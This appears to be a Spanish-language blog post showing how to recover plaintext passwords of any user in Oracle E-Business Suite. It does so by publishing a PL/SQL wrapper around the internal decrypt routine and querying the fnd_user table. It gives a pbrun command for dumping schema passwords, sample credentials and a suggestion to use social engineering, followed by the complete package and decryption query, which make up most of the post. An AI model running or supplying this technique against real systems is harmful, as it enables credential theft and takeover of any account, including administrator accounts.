Si bien esta vulnerabilidad ya tiene algo de tiempo publicada, y ya en algún momento Alfredo Mosqueda me había pasado el código, no había necesidad de haberlo utilizado hasta recién que hubo que trabajar con On Demand, teniendo poco tiempo para liberar un desarrollo y no mucha velocidad de respuesta de parte de Oracle, así que hubo que darle la vuelta volándose la contraseña de sysadmin. Esto funcionará en dev y test.
La vulnerabilidad
El asunto reside en que la contraseña de apps es la llave para encriptar las claves de usuario (por ello es que para cambiar la contraseña de apps es necesario ejecutar fndcpass y no solo cambiarla a nivel bd). Ésta en conjunto con el procedimiento almacenado para desencriptar los passwords permite obtener la contraseña de cualquier usuario del sistema. Para los detalles, ver este post en el blog de Johan Lowers.
Obtener la contraseña de apps
Si es una instalación en sitio, generalmente contamos con ella para el ambiente de desarrollo. De no ser así, utilizar la ingeniería social, ya depende de cada quien si lo consigue.
Para on demand, con unsuario de sistema operativo del ambiente objetivo, dev (d) o test (t) teclear lo siguiente (reemplazar amox por el nombre corto asignado a la implementación)
pbrun impdba password-manager [d|t]amoxi
Lo cual mostrará algo como lo siguiente
apps:OD3rgY4z bolinf:G2pfA7xL rac_accnt:RB2qgX7w system:MH5qdW3a
Publicar la función para desencriptar
Crear el siguiente package en el esquema apps:
create or replace package amox_util as function decrypt(key in varchar2, value in varchar2) return varchar2 ; end ; create or replace package body amox_util as function decrypt(key in varchar2, value in varchar2) return varchar2 as language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String'; end;
Query para obtener el password de usuarios
Utilizar el siquiente query, el cual solicita el nombre de usuario y devuelve la contraseña:
SELECT
usertable.user_name
,(SELECT
amox_util.decrypt(UPPER((
SELECT(
SELECT
amox_util.decrypt(UPPER(
(SELECT upper(fnd_profile.value('GUEST_USER_PWD')) FROM dual)
)
,usertable.encrypted_foundation_password)
FROM dual
) AS apps_password
FROM
fnd_user usertable
WHERE
usertable.user_name LIKE upper(
(SELECT
substr(fnd_profile.value('GUEST_USER_PWD'),1,instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1)
FROM dual)
)
)
),usertable.encrypted_user_password)
FROM
dual
) AS encrypted_user_password
FROM
fnd_user usertable
WHERE
usertable.user_name LIKE upper('&username')
2 comentarios:
No spam